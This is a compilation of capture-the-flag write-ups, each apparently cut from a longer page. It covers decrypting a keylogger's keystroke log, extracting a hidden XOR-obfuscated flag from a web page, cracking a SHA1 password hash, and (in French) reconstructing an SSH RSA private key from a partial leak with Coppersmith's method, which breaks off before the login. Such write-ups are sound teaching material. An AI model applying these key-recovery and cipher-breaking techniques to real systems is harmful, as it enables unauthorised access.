/dev/input/event2 - the keyboard input, that's is logged by the keylogger;
The keyboard input log looks ugly and is encrypted. So, we have to deal with the binary file to find out the encryption method.Ok, let's check strings:
-----
-----
No way, we won't find any plain clue and we'll reverse it, yay!You don't have to dig too deep and you'll soon find an interesting function named `encrypt`:
-----
-----
`encypt` - is a stream cipher function. Python implementation:
```for i in range(len(str)): randomNumber = rand(); str[i] = (str[i] * str[i] + randomNumber) % 0x100; fputc(file, str[i]);```
The result is the `low byte` from the `symbol being multiplied by itself + random number (pseudo random encryption key)`.
And the point is that the `algorithm` and the `pseudo random key seed` are hardcoded in the `keylogger`.
The `algorithm` is realised by the `rand` function, and the `seed` is set to `0`
-----
-----
As a result we can generate the same encryption key, that is used in the keylogger:
```rand_key = [ 0x6b8b4567, 0x327b23c6, 0x643c9869, 0x66334873, 0x74b0dc51, 0x19495cff, 0x2ae8944a, 0x625558ec, 0x238e1f29, 0x46e87ccd, 0x3d1b58ba, 0x507ed7ab, 0x2eb141f2, 0x41b71efb, 0x79e2a9e3, 0x7545e146, 0x515f007c, 0x5bd062c2, 0x12200854, 0x4db127f8, 0x0216231b, 0x1f16e9e8, 0x1190cde7, 0x66ef438d, 0x140e0f76, 0x3352255a, 0x109cf92e, 0x0ded7263, 0x7fdcc233, 0x1befd79f, 0x41a7c4c9, 0x6b68079a, 0x4e6afb66, 0x25e45d32, 0x519b500d, 0x431bd7b7, 0x3f2dba31, 0x7c83e458, 0x257130a3, 0x62bbd95a, 0x436c6125, 0x628c895d, 0x333ab105, 0x721da317, 0x2443a858, 0x2d1d5ae9, 0x6763845e, 0x75a2a8d4, 0x08edbdab, 0x79838cb2, 0x4353d0cd, 0x0b03e0c6,];```
Multiplication of 1 byte integers, and discarding the high byte leads to information leakage, so we have the opportunity to brute our hash:
```f = open('kde', 'rb');data = f.read();f.close()
d = bytearray(data);
rand_key = [...];
for i in range(len(rand_key)): r = rand_key[i]; d = data[i];
chrs = ''; for j in range(20, 128): k = ((j * j + r) % 0x100);
if k == d: chrs += chr(j) print(chrs)```
Before running the script we have deleted `"=====\r\n` in `.kde` log file.
Getting rid of unreadable chars we had the result:
```1. =C2. ,4LTlt3. :Fz4. {5. c6. 0@P`p7. .Rn8. 6Jv9. 2Nr10. ,4LTlt11. 7I12. :Fz13. :Fz14. !_15. y16. 0@P`p17. u18. !_19. (8HXhx20. ,4LTlt21. 6Jv22. 3M23. !_24. &Zf25. 0@P`p26. u27. .Rn28. $<D\d|29. !_30. 0@P`p31. u32. 2Nr33. !_34. (8HXhx35. 1O36. $<D\d|37. $<D\d|38. 3M39. .Rn40. !_41. 5K42. 3M43. 2Nr44. 6Jv45. 1O46. c47. 3M48. }```
So, it turned out into a guessing game. We had to choose the right character for every position. It was easy to see CTF{}. But then we had to spend about 30 minutes to solve the rebus =D
`CTF{c0n6r47zz_y0u_h4v3_f0und_0ur_h1dd3n_53rv1c3}`
> We had some problems with submitting the flag, because when we were retyping the result we misstyped a cyrillic symbol in it and got the wrong SHA256 hash. But thx to the orgs, we've found it out.
It cost us plenty of time to solve this task, but it was definitely interesting and fun.
P.S. Thx to the authors of the task, that the keylogger didn't store its log in CRC32 previously XORed with few rounds ;)
**That's All Folks!** |
# EASYCTF - Nosource
> description: All you CTFers are sure getting on my nerves with your source-viewing and developer tools-ing! Alas, despite my best wishes, the experienced programmers on the wonderful website StackOverflow tell me that it's impossible to keep you from looking at the HTML. But a disable right click script certainly won't stop an experienced CTFer like you! So finding the flag in the source of this problem should be no trouble, right?
> category: Web
When we launch the chall, a web page informs us that we have to use `Chrome` and enable `Javascript`.So I used `Chrome` and nothing happended. After playing with `Javascript` options in `Chrome` browser, I finally ended up to the 'real' chall page.
Here you can't use 'right click -> inspect element' or 'ctrl+u' because it will redirect you to the first page and you won't be able to get the source code like that.
The way I did it was using Wireshark: I use it to sniff the network when we get the challenge page.
Then we can get the source code by following the stream. Here is the source code:
```
<html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title>Stop looking at the source code</title><script class="delete"> var timeout = setTimeout(function () { location.replace('/soupd?2'); }, 1000);</script><link href="/static/css/bootstrap.min.css" rel="stylesheet"><link href="/static/css/main.css" rel="stylesheet"></head>
<body><main role="main" class="container"><div class="starter-template"> <h1>Stop looking at the source code</h1> Welcome to the problem page! Please enter the flag below. <form id="flag-form"> <div class="form-group"> <input type="text" class="form-control" id="flag" placeholder="easyctf{"> </div> <button type="submit" class="btn btn-success btn-lg">Check</button> </form></div>
Welcome to the problem page! Please enter the flag below.
<script class="delete"> // Ah, old friend, we meet again... function process(a, b) { 'use strict'; var len = Math.max(a.length, b.length); var out = []; for (var i = 0, ca, cb; i < len; i++) { ca = a.charCodeAt(i % a.length); cb = b.charCodeAt(i % b.length); out.push(ca ^ cb); return String.fromCharCode.apply(null, out); }
(function () { 'use strict';
function soupd() { document.documentElement.innerHTML = ''; location.replace('/soupd?2'); setInterval(function () { location.replace('/soupd?12'); }, 100);
try { let badNodes = document.getElementsByClassName('delete'); for (let i = 0; i < badNodes.length; i++) { badNodes[i].parentNode.removeChild(badNodes[i]); } } catch (e) {}
try { window.history.pushState({}, 'Stop looking at the source', '/'); } catch (e) {}
try { var element = new Image('/static/img/soup.png'); Object.defineProperty(element, 'id', { get: function () { soupd(); }}); eval("console.log('Stop looking at the source code%c', element);"); } catch (e) {}
var formEl = document.getElementById('flag-form'); var inputEl = document.getElementById('flag');
var func = "(function (e, v) { e.preventDefault() || " + "alert(inputEl.value === process(this.prototype.flag, " + "this.prototype.key) ? 'Your flag is correct!' : " + "'Incorrect, try again.'); })"; var f = 'DQ4cJgsbCVofB18sNw4wRlhfCwAbXxpTC1wwKVlcGBIaUDAGJzowYDoqTiI='; var p = { prototype: { flag: atob(f), key: 'heheheh!' }};
document.addEventListener('DOMContentLoaded', function () { formEl.addEventListener('submit', eval(func).bind(p)); $('.delete').remove(); });
})();</script></main>
<script src="/static/js/jquery-3.2.1.slim.min.js"></script><script src="/static/js/popper.min.js"></script><script src="/static/js/bootstrap.min.js"></script><script class="delete">clearTimeout(timeout);</script>
</body></html>```
First let's get rid of this html and build our javascript:
```function process(a, b) { var len = Math.max(a.length, b.length); var out = []; for (var i = 0, ca, cb; i < len; i++) { ca = a.charCodeAt(i % a.length); cb = b.charCodeAt(i % b.length); out.push(ca ^ cb); } return String.fromCharCode.apply(null, out);}
entry = "WeWriteHere"
var f = 'DQ4cJgsbCVofB18sNw4wRlhfCwAbXxpTC1wwKVlcGBIaUDAGJzowYDoqTiI=';
flag = atob(f);key = 'heheheh!';
func()
function func() { alert(entry === process(flag, key) ? 'Your flag is correct!' : 'Incorrect, try again.'); }```
It seems that all we have to do is to print process(flag, key) and write it as entry:
```console.log(process(flag, key));// -> ektCc~a{wb7I_kXg0:ces:rrc9XL19p3r5XcO_XARO&G```
We try this in entry, but it didn't work...We know the flag look like easyctf{...}And we can see: e??????{...Maybe the given key is not right. Let's generate another one (we can see that the process methos only compute xor between entry and key):
```# First character of the key is good (we want 'e' and we already have 'e')
# For the second character, we want 'a' in output, but we have 'k' and the actual second character key is 'e':chr(ord('a')^ord('k')^ord('e'))# -> o
# For the third character, we want 's' in output, but we have 't' and the actual third character key is 'h':chr(ord('s')^ord('t')^ord('h'))# -> o
# For the 4th character, we want 'y' in output, but we have 'C' and the actual 4th character key is 'e':chr(ord('y')^ord('C')^ord('e'))# -> _
# The 5th character of the key is good (we want 'c' and we already have 'c')
# For the 6th character, we want 't' in output, but we have '~' and the actual 6th character key is 'e':chr(ord('t')^ord('~')^ord('e'))# -> o
# For the 7th character, we want 'f' in output, but we have 'a' and the actual 6th character key is 'h':chr(ord('f')^ord('a')^ord('h'))# -> o```
Okay let's set our new key ('hoo_hoo') and print the flag:
```function process(a, b) { var len = Math.max(a.length, b.length); var out = []; for (var i = 0, ca, cb; i < len; i++) { ca = a.charCodeAt(i % a.length); cb = b.charCodeAt(i % b.length); out.push(ca ^ cb); } return String.fromCharCode.apply(null, out);}
var f = 'DQ4cJgsbCVofB18sNw4wRlhfCwAbXxpTC1wwKVlcGBIaUDAGJzowYDoqTiI=';flag = atob(f);key = 'hoo_hoo!';
console.log(process(flag, key));// -> `easyctf{wh0s_a_g00d_s0urc3_v13w3r?_YOU_ARE!}````
We can validate the chall with this flag =) |
# HashbrownsFor this challenge we're given a 32-bit ELF executable which, upon execution, prompts us to enter a password (up to 20 characters in length) and then outputs a string which seems to be some kind of hash, although of unkown sort. Additionally we learn, that the entered password is wrong/right.
Let's have a look at the hashbrowns in radare2. There are a lot of function calls (not on the picture) which are mostly IO - so nothing really special. The push ```str.8819d19069fae6b4bac183d1f16553abab16b54f``` in ```main``` is where it gets interesting. Looks like a hash! As we can see in the screenshot below, there is some kind of comparison, presumably of our hashed input and the stored hash, which then results in the path our program takes (```success``` vs ```invalid_password```).
As this challenge is only worth 100 points, we do not need to worry about the internals, which are not that easy to examine anyway, due to the dynamic linking. So we concentrate on the hash we found. There are two options: first, cracking it using hashcat in brute-force or dictionary mode. Second, just lazily copy+paste it into our rainbow table service of choice and let them do the magic. Et voilà, it actually is the SHA1 hash of the word ```potatoes```.
When we now enter ```potatoes``` as password, we get disappointed, because it still is not the correct input according to the program. Also, the output string is something totally different than the stored hash and - as already mentionend - might not even be a real hash.
However, when we submit ```potatoes``` as flag, it is accepted and we do not need to worry anymore. Neat.
## potatoes |
# [CTF ANGSTROM] Write-Up - SSH (Crypto, 150)
## Description :In an effort to follow good security practices, defund set up SSH keys for his server, which he connects to at [email protected]:3004. kmh11 managed to get the [public key](files/id_rsa.pub) and part of the [private key](files/id_rsa) . Help him ruin defund's life.
## Partie clé publique :
Une bonne ressource est disponible ici : https://security.stackexchange.com/questions/42268/how-do-i-get-the-rsa-bit-length-with-the-pubkey-and-openssl
L'explication est ici :
* 00 00 00 07 The length in bytes of the next field* 73 73 68 2d 72 73 61 The key type (ASCII encoding of "ssh-rsa")* 00 00 00 03 The length in bytes of the public exponent* 01 00 01 The public exponent (usually 65537, as here)* 00 00 01 01 The length in bytes of the modulus (here, 257)* 00 c3 a3... The modulus
```BASHecho -n "AAAAB3NzaC1yc2EAAAADAQABAAABAQC+XZWLCbIpHPC9NlEckVXiKfiujcyu4VUslmm4G1MqNjtPNHaUEoZ8z5LLQK3e9SAKBdze8JyNowmC+lQT2VL059s9pzlRn6t31XTeUjZslgOs6IfAy/MsUkfOwUIo6KcqpSVnmeVMQPOiLUZCza9eDdB3MxFY59hNuodW1TGku00ro+ecKZcvJ+uNC/nfgeLpzaI7Dd6tI8AKrr+g9Tgyd6Ihd3KanLXuWMRwGbbLMi1/uaQd86LVYt/SAvkGO15eUELP723c/kEjKGfhwSKo3MGM5R77uMxfm8DzKW8QkcowEO2FEnPUykBnV1PaiWrl/PoBWTp8hNUYxQPAruWB" | openssl base64 -d | hd00000000 00 00 00 07 73 73 68 2d 72 73 61 00 00 00 03 01 |....ssh-rsa.....|00000010 00 01 00 00 01 01 00 be 5d 95 8b 09 b2 29 1c f0 |........]....)..|00000020 bd 36 51 1c 91 55 e2 29 f8 ae 8d cc ae e1 55 2c |.6Q..U.)......U,|00000030 96 69 b8 1b 53 2a 36 3b 4f 34 76 94 12 86 7c cf |.i..S*6;O4v...|.|00000040 92 cb 40 ad de f5 20 0a 05 dc de f0 9c 8d a3 09 |..@... .........|00000050 82 fa 54 13 d9 52 f4 e7 db 3d a7 39 51 9f ab 77 |..T..R...=.9Q..w|00000060 d5 74 de 52 36 6c 96 03 ac e8 87 c0 cb f3 2c 52 |.t.R6l........,R|00000070 47 ce c1 42 28 e8 a7 2a a5 25 67 99 e5 4c 40 f3 |G..B(..*.%g..L@.|00000080 a2 2d 46 42 cd af 5e 0d d0 77 33 11 58 e7 d8 4d |.-FB..^..w3.X..M|00000090 ba 87 56 d5 31 a4 bb 4d 2b a3 e7 9c 29 97 2f 27 |..V.1..M+...)./'|000000a0 eb 8d 0b f9 df 81 e2 e9 cd a2 3b 0d de ad 23 c0 |..........;...#.|000000b0 0a ae bf a0 f5 38 32 77 a2 21 77 72 9a 9c b5 ee |.....82w.!wr....|000000c0 58 c4 70 19 b6 cb 32 2d 7f b9 a4 1d f3 a2 d5 62 |X.p...2-.......b|000000d0 df d2 02 f9 06 3b 5e 5e 50 42 cf ef 6d dc fe 41 |.....;^^PB..m..A|000000e0 23 28 67 e1 c1 22 a8 dc c1 8c e5 1e fb b8 cc 5f |#(g.."........._|000000f0 9b c0 f3 29 6f 10 91 ca 30 10 ed 85 12 73 d4 ca |...)o...0....s..|00000100 40 67 57 53 da 89 6a e5 fc fa 01 59 3a 7c 84 d5 |@gWS..j....Y:|..|00000110 18 c5 03 c0 ae e5 81 |.......|00000117```
Du coup, on détermine facilement notre **n** et notre **e** :soit en hexadécimal :
* e = 0x10001* n = 0xbe5d958b09b2291cf0bd36511c9155e229f8ae8dccaee1552c9669b81b532a363b4f34769412867ccf92cb40addef5200a05dcdef09c8da30982fa5413d952f4e7db3da739519fab77d574de52366c9603ace887c0cbf32c5247cec14228e8a72aa5256799e54c40f3a22d4642cdaf5e0dd077331158e7d84dba8756d531a4bb4d2ba3e79c29972f27eb8d0bf9df81e2e9cda23b0ddead23c00aaebfa0f5383277a22177729a9cb5ee58c47019b6cb322d7fb9a41df3a2d562dfd202f9063b5e5e5042cfef6ddcfe41232867e1c122a8dcc18ce51efbb8cc5f9bc0f3296f1091ca3010ed851273d4ca40675753da896ae5fcfa01593a7c84d518c503c0aee581
soit en décimal :
* e = 65537* n = 24031426009258585415105324998970701655451460140660105245278171650878655493832570145520528674334486553204442446050601099312855866652174529838264749199630546148628121934849433734634042641132125007923761347962489974645002007692970466377879714666376153284839287915500514317384370204031902874952028757660051907008749997171513281852774870171717680368772057416440542176768196388565781131705261355090923059616730128088291078728643698870108958810166348296696671079733506691833466453747784418214869999275238860856569886383373280256273665811649081849561360513128165462438255912304945446909477593597880634673262567888241113884033
## Partie clé privée :
On a une clé privée partielle ```...????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????YC2/ZTbmSZFL9t5Em+ic2ayw0nNUSI6XO7+3tcT9TABzh94t9YLhiDcCgYEA0LFZOUTgvmnWAkwGSo/6huQOu/7VmsM7OBdFntgotOJXALXFqCeT2PMXyWVc9/6ObUZjz9LQUlT6mnzYwFrX4mPPOTY5nvCyjepQlSDA7w49yaRhXKCFRHmEieeFJqzrZoQG????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????...```
Il faut aussi savoir à quelle taille de clé privée, nous avons à faire !!!
Mes tests se feront sur 3 tailles standards :
```BASHopenssl genrsa -out test1024.pem 1024openssl genrsa -out test2048.pem 2048openssl genrsa -out test4096.pem 4096```
Nous avons donc dans notre cas une clé en 2048 en comparaison avec notre clé privée partielle.
Donc il faut passer par la notion d'ASN.1 pour comprendre à quoi correspond notre base64.Pour parser en ASN.1 plusieurs possibilités, soit utiliser un des sites ci-dessous ou soit avec _openssl_ :
1. https://tls.mbed.org/kb/cryptography/asn1-key-structures-in-der-and-pem2. http://phpseclib.sourceforge.net/x509/asn1parse.php
```BASHopenssl asn1parse -in test2048.pem
0:d=0 hl=4 l=1187 cons: SEQUENCE 4:d=1 hl=2 l= 1 prim: INTEGER :00 7:d=1 hl=4 l= 257 prim: INTEGER :00A68816CF564AD4B12CB5ACAA1CD0861B233443A408525A8476028EB6166F27E680A58E4F8C7B09C17371996FB35DE6E4592BE3B5AC4894E61C597F324E4E182EAD7AD9AA8CBE27F3BF57A3B330C07C0271FACA3DAF94647A46B895CD535303F87148216F820BB281059E8B404FD51D37369DD04DF57FFE5001FCF1A5585FE02B3A3F5FF3A1B3868FBD116C76F56D606BBF461708B386B210FDE417189F8A0436507461D87F3303F42388973B71580392A1D4DC90EDAA7F29A28336335F482E63B60DD663B65886B41B705BFFB481622D9AF1080746F6DE27A70BB5479CBF4F53A4D91E9CEA3D99ADD6A442E1F7945DAB0DC08CD1AC341BA0449198836AFDBA25 268:d=1 hl=2 l= 3 prim: INTEGER :010001 273:d=1 hl=4 l= 256 prim: INTEGER :12CBC76F4D7912BA90A64CBFC292D2A01B8019A658FE1A935AD27D1316432388C3BA6BEE94978A89582359431F4698F9EB0AA61FEA3B22FB39F5EC025C8E39F282C81BEB4109716EF488CAC43DDB6BE3C6C39CB20BB03F0B0212716E045A9957204A18E4021499E8301F2DEE6B544D80DEDC3F179D7EFDD03FF931B90CD97D6E94FC68FD0F9C8E89B312DE76724D2C37B58DE0DE29F78A3FFA6868DD70324F9066FF1F1484F8AD3EC259FC344B5AA1D885406328D4BF50F67B0CE861CB23D0FDB57353712032743AA2567EE452A8A8098D3713C1F43985720F1EE35A8ABB1C3D0E726B7DA717C65DD3E140B6B4AD79E570A7AB7927B871306DA6CD16CC5CE421 533:d=1 hl=3 l= 129 prim: INTEGER :00D32D3F8ECBD2B3D23CEBB01BFFEF4B34B09F4A4537A2EB505F33C8B1E867FD7878C867AFF72A8C3DE4529DA3853C02CFFF2F82724E8ADA12144568A151EB412438D22905CC423E15F7327411E453177E3E9E6AB620002E1A5EB6F03FC25329A7FED50AD6E8A7B780A2F95F6C78A9C15DA88360A5119783FBD180D3208DF9490D 665:d=1 hl=3 l= 129 prim: INTEGER :00C9E0F2D5277FA3134631615BBA7F7BDE4B43FA45C1ABC5A95FEE09E1A4A040951F92049F60283B18DC60A0D009C58254674B98FEF5398ACBE69573A20ED47EB97824FA4943FAED9810C0AF1B9DB003F011ED50E66B78E592438E95913F1C68F1A355A6E4682F6D13220C889401CCCAEC4C980408C6FE6F1EC309C124A7F03F79 797:d=1 hl=3 l= 128 prim: INTEGER :2707F8F45AA5D208ACABDF3BFD9CEBE88C3094D8A044E37B526D4ECDDB27C5488C02766FA69E5D975EE90A2BDC075079C32FB3CB8ECAC92D88439FE8192D03383FAC505ABAFB0F609DF4DC51264359574319A29D90E297A2D618B7E500F4C00145EF78766A3FFD81B01DA94E722AE60B7A86F5C8ECAC757F88A467E15F7C50CD 928:d=1 hl=3 l= 128 prim: INTEGER :423F2130B56F7B121E1CA23839B10FF2D87C0C2ACBED14460A86D0934D34913CDE494A5F0A6CE947B539B84BCC8915C5A0C7FC02DE71ED8C0FB4C7674CBA8A834E5BC40E3AD2A3191D963D603094CC1601AC00BA3C5645EF835FCCD10706C9A151DA0F9430642FC4F18D6F5C326303CC1B2E5F548A08806A75D243A145C2DEF1 1059:d=1 hl=3 l= 129 prim: INTEGER :00B2170D9A8CB3094DAB296D9833AD12CB920FD4580EBC261CE79C76B9BD303941DD4F753CC029AFB0F116A73B36A8D804A8A1B8F79E50C3BCEAA813339A42B6A252EF9041684D6BC72A9D5B8550D693BC743C668AB83981F109730142865E2B5480C3D8DB369C31A0681BCF9340EFB955BADDDEC53A01FE15074AE45F53DB668B ```
Les explications plus détaillées, en 2048 bits :
* n => marqueur:02 82 0, size : 101(donc 257)* e => marqueur:02 , size : 03* d => marqueur:02 82 0, size : 100 (donc 256)* p => marqueur:02 81 , size : 81 (donc 129)* q => marqueur:02 81 , size : 81 (donc 129)* exp1 => marqueur:02 81 , size : 81 (donc 129)* exp2 => marqueur:02 81 , size : 81 (donc 129)* coef => marqueur:02 81 , size : 80 (donc 128)
Du coup, pour déterminer à quel paramètre nous avons à faire, je compare sur ma clé test2048.pem mais tronquée partiellement comme celle du challenge, je la nomme ici test2048_partial.pem.
```BASHecho -n "Gl628D/CUymn/tUK1uint4Ci+V9seKnBXaiDYKURl4P70YDTII35SQ0CgYEAyeDy1Sd/oxNGMWFbun973ktD+kXBq8WpX+4J4aSgQJUfkgSfYCg7GNxgoNAJxYJUZ0uY/vU5isvmlXOiDtR+uXgk+klD+u2YEMCvG52wA/AR7VDma3jlkkOOlZE/HGjxo1Wm" | base64 -d |hd00000000 1a 5e b6 f0 3f c2 53 29 a7 fe d5 0a d6 e8 a7 b7 |.^..?.S)........|00000010 80 a2 f9 5f 6c 78 a9 c1 5d a8 83 60 a5 11 97 83 |..._lx..]..`....|00000020 fb d1 80 d3 20 8d f9 49 0d 02 81 81 00 c9 e0 f2 |.... ..I........|00000030 d5 27 7f a3 13 46 31 61 5b ba 7f 7b de 4b 43 fa |.'...F1a[..{.KC.|00000040 45 c1 ab c5 a9 5f ee 09 e1 a4 a0 40 95 1f 92 04 |E...._.....@....|00000050 9f 60 28 3b 18 dc 60 a0 d0 09 c5 82 54 67 4b 98 |.`(;..`.....TgK.|00000060 fe f5 39 8a cb e6 95 73 a2 0e d4 7e b9 78 24 fa |..9....s...~.x$.|00000070 49 43 fa ed 98 10 c0 af 1b 9d b0 03 f0 11 ed 50 |IC.............P|00000080 e6 6b 78 e5 92 43 8e 95 91 3f 1c 68 f1 a3 55 a6 |.kx..C...?.h..U.|00000090```je vois ici "**02 81 81** 00 c9 e0 f2" soit le début de 00c9e0f2, ce qui correspondait juste au-dessus à :665:d=1 hl=3 l= 129 prim: INTEGER :00C9E0F2D5277FA3134631615BBA7F7BDE4B43FA45C1ABC5A95FEE09E1A4A040951F92049F60283B18DC60A0D009C58254674B98FEF5398ACBE69573A20ED47EB97824FA4943FAED9810C0AF1B9DB003F011ED50E66B78E592438E95913F1C68F1A355A6E4682F6D13220C889401CCCAEC4C980408C6FE6F1EC309C124A7F03F79
Verdict : Nous venons de trouver notre **q** de tronquer :
Notre clé privée partielle id_rsa :
```BASHecho -n "YC2/ZTbmSZFL9t5Em+ic2ayw0nNUSI6XO7+3tcT9TABzh94t9YLhiDcCgYEA0LFZOUTgvmnWAkwGSo/6huQOu/7VmsM7OBdFntgotOJXALXFqCeT2PMXyWVc9/6ObUZjz9LQUlT6mnzYwFrX4mPPOTY5nvCyjepQlSDA7w49yaRhXKCFRHmEieeFJqzrZoQG" | base64 -d | hd00000000 60 2d bf 65 36 e6 49 91 4b f6 de 44 9b e8 9c d9 |`-.e6.I.K..D....|00000010 ac b0 d2 73 54 48 8e 97 3b bf b7 b5 c4 fd 4c 00 |...sTH..;.....L.|00000020 73 87 de 2d f5 82 e1 88 37 02 81 81 00 d0 b1 59 |s..-....7......Y|00000030 39 44 e0 be 69 d6 02 4c 06 4a 8f fa 86 e4 0e bb |9D..i..L.J......|00000040 fe d5 9a c3 3b 38 17 45 9e d8 28 b4 e2 57 00 b5 |....;8.E..(..W..|00000050 c5 a8 27 93 d8 f3 17 c9 65 5c f7 fe 8e 6d 46 63 |..'.....e\...mFc|00000060 cf d2 d0 52 54 fa 9a 7c d8 c0 5a d7 e2 63 cf 39 |...RT..|..Z..c.9|00000070 36 39 9e f0 b2 8d ea 50 95 20 c0 ef 0e 3d c9 a4 |69.....P. ...=..|00000080 61 5c a0 85 44 79 84 89 e7 85 26 ac eb 66 84 06 |a\..Dy....&..f..|00000090```
On voit bien le marqueur **02 81 81**
q_ = 0xd0b1593944e0be69d6024c064a8ffa86e40ebbfed59ac33b3817459ed828b4e25700b5c5a82793d8f317c9655cf7fe8e6d4663cfd2d05254fa9a7cd8c05ad7e263cf3936399ef0b28dea509520c0ef0e3dc9a4615ca08544798489e78526aceb668406
## Partie attaque sur notre q_ tronqué :
En lisant cette ressource, https://www.di.ens.fr/~fouque/ens-rennes/coppersmith.pdf à la page 19, on en arrive à l'explication suivante :
1. À partir de qh, on déduit la début de la factorisation de p, car abs(n/q_approchée -p)<=p/qh (où q = 2^m*qh + r )2. à partir de ces deux parties, via coppersmith, on en déduit p et q: on connait ph et qh, il reste juste à résoudre (2^m*qh + r)*(2^m'*ph + s) =n
Pour la partie du script, je remercie mon coéquipier francois pour son aide sur la création de ce dernier surtout sur la partie liée à Coppersmith ;-)
Le script est disponible ici [angryssh.sage](files/angryssh.sage)
Le résultat nous donne :
```BASHsage angryssh.sage
solx= 4203288709542742729807188024283888845346823142720427022366890568812599soly= 5477114057848791956097152061968561656135042340019554935987745340732423163982139712862418555526520701188853132435025142588334581109287244065993155706892302449577647543501705795708316995057467949529976798218410513821698432879399377481736303821213515873396833696040164615779257072417113571942677691455176550027493593024586313878742269786944829130979576180492741390980797445630429239 146549045227354172989110651205310632574067392372993711861623526130946979713469625772410411197033006823693645223316947254702263484103463390279967082549781844195965622071604103417650285219901124684816890970225510506869249766243257198851929421990982433654502509027141033118789478594390852225097012248592818058247 0p= 163982139712862418555526520701188853132435025142588334581109287244065993155706892302449577647543501705795708316995057467949529976798218410513821698432879399377481736303821213515873396833696040164615779257072417113571942677691455176550027493593024586313878742269786944829130979576180492741390980797445630429239q= 146549045227354172989110651205310632574067392372993711861623526130946979713469625772410411197033006823693645223316947254702263484103463390279967082549781844195965622071604103417650285219901124684816890970225510506869249766243257198851929421990982433654502509027141033118789478594390852225097012248592818058247n= 24031426009258585415105324998970701655451460140660105245278171650878655493832570145520528674334486553204442446050601099312855866652174529838264749199630546148628121934849433734634042641132125007923761347962489974645002007692970466377879714666376153284839287915500514317384370204031902874952028757660051907008749997171513281852774870171717680368772057416440542176768196388565781131705261355090923059616730128088291078728643698870108958810166348296696671079733506691833466453747784418214869999275238860856569886383373280256273665811649081849561360513128165462438255912304945446909477593597880634673262567888241113884033e= 65537d= 123715806662858448406280202044688115591692755799888809507673563533423098052461523130402233386235445903621570057723305993517622729904895930880756576170153500542985520539525007976077324972024469481718690834018409334352766031028751783744035230957911566851884086085886118155275839039600892793079710431465048948007650509318551146504821220254303589089178442728341124835901981409487972734633972613345888878767977016081665533382535518690366861729838195661270327582519000652889937631989261595454681080418842666216763436820395550998726188100357830185797964200000360359871690981849871276575671176920211197555101298594851111252291= 10```
## Reconstruction de la clé privée :
Cette partie étant la moins difficile du challenge :-)
J'utilise simplement un outil tel que [Rsatool](https://github.com/ius/rsatool)
```BASHpython rsatool.py -p 163982139712862418555526520701188853132435025142588334581109287244065993155706892302449577647543501705795708316995057467949529976798218410513821698432879399377481736303821213515873396833696040164615779257072417113571942677691455176550027493593024586313878742269786944829130979576180492741390980797445630429239 -q 146549045227354172989110651205310632574067392372993711861623526130946979713469625772410411197033006823693645223316947254702263484103463390279967082549781844195965622071604103417650285219901124684816890970225510506869249766243257198851929421990982433654502509027141033118789478594390852225097012248592818058247 -n 24031426009258585415105324998970701655451460140660105245278171650878655493832570145520528674334486553204442446050601099312855866652174529838264749199630546148628121934849433734634042641132125007923761347962489974645002007692970466377879714666376153284839287915500514317384370204031902874952028757660051907008749997171513281852774870171717680368772057416440542176768196388565781131705261355090923059616730128088291078728643698870108958810166348296696671079733506691833466453747784418214869999275238860856569886383373280256273665811649081849561360513128165462438255912304945446909477593597880634673262567888241113884033 -e 65537 -f PEM -o privkey.pem
python rsatool.py -p 163982139712862418555526520701188853132435025142588334581109287244065993155706892302449577647543501705795708316995057467949529976798218410513821698432879399377481736303821213515873396833696040164615779257072417113571942677691455176550027493593024586313878742269786944829130979576180492741390980797445630429239 -q 146549045227354172989110651205310632574067392372993711861623526130946979713469625772410411197033006823693645223316947254702263484103463390279967082549781844195965622071604103417650285219901124684816890970225510506869249766243257198851929421990982433654502509027141033118789478594390852225097012248592818058247 -n 24031426009258585415105324998970701655451460140660105245278171650878655493832570145520528674334486553204442446050601099312855866652174529838264749199630546148628121934849433734634042641132125007923761347962489974645002007692970466377879714666376153284839287915500514317384370204031902874952028757660051907008749997171513281852774870171717680368772057416440542176768196388565781131705261355090923059616730128088291078728643698870108958810166348296696671079733506691833466453747784418214869999275238860856569886383373280256273665811649081849561360513128165462438255912304945446909477593597880634673262567888241113884033 -e 65537 -f PEM -o privkey.pemUsing (p, q) to initialise RSA instance
n =be5d958b09b2291cf0bd36511c9155e229f8ae8dccaee1552c9669b81b532a363b4f34769412867ccf92cb40addef5200a05dcdef09c8da30982fa5413d952f4e7db3da739519fab77d574de52366c9603ace887c0cbf32c5247cec14228e8a72aa5256799e54c40f3a22d4642cdaf5e0dd077331158e7d84dba8756d531a4bb4d2ba3e79c29972f27eb8d0bf9df81e2e9cda23b0ddead23c00aaebfa0f5383277a22177729a9cb5ee58c47019b6cb322d7fb9a41df3a2d562dfd202f9063b5e5e5042cfef6ddcfe41232867e1c122a8dcc18ce51efbb8cc5f9bc0f3296f1091ca3010ed851273d4ca40675753da896ae5fcfa01593a7c84d518c503c0aee581
e = 65537 (0x10001)
d =620075bb457b95d4d34ee586ae6957c87e090b7beeb2dd486712ec4c1ead1adf1e7b712bd6a10ee1744f431a0228f512d076223617b2d0ebed3aa3bae3190faf0b2a003c75b2c2bb988ea882c7da42de9bf7c922122c2cfd5542a87b2f9f35ded18281962b51338780a5ae1f2cc70d1023967db729a8167b71d0a45a1c99590f3c4bfa59f6cb99808d1b8c4e5c0ca7feeec7f2c88f6cee0a343be1f1217c23c2ec0e779740374cffda319dc8797a0b010a58b0ad79e33adc3ca088dcbf4fdb68da954c49b3aa693f0e0545d6845e3413d720a2df5c98158e4b45d2bd6e2ea08672db20644ea9aec7c192c1087b970564cd929d43e5ea32f1c1e19a266adb84ed
p =e984b0820151d7ed6a86569073ea12e64d36fa33bc360082cd1e87ad0618f6dd6f0dbac674170c3d11f1e8ea1208c48ee3c6313f7703138fc2d2dc8e94fdd4a427bd92a420de8a025d0423e80351acaa2c92bfe5e11729602dbf6536e649914bf6de449be89cd9acb0d27354488e973bbfb7b5c4fd4c007387de2df582e18837
q =d0b1593944e0be69d6024c064a8ffa86e40ebbfed59ac33b3817459ed828b4e25700b5c5a82793d8f317c9655cf7fe8e6d4663cfd2d05254fa9a7cd8c05ad7e263cf3936399ef0b28dea509520c0ef0e3dc9a4615ca08544798489e78526aceb668406cb284ebe0ee0120defe7405ffe7d76fb6bb469183cb262822c9b6f3407
Saving PEM as privkey.pem```
## The flag :
Avec la clé privée [private key](files/privkey.pem), nous nous connectons au serveur du challenge :
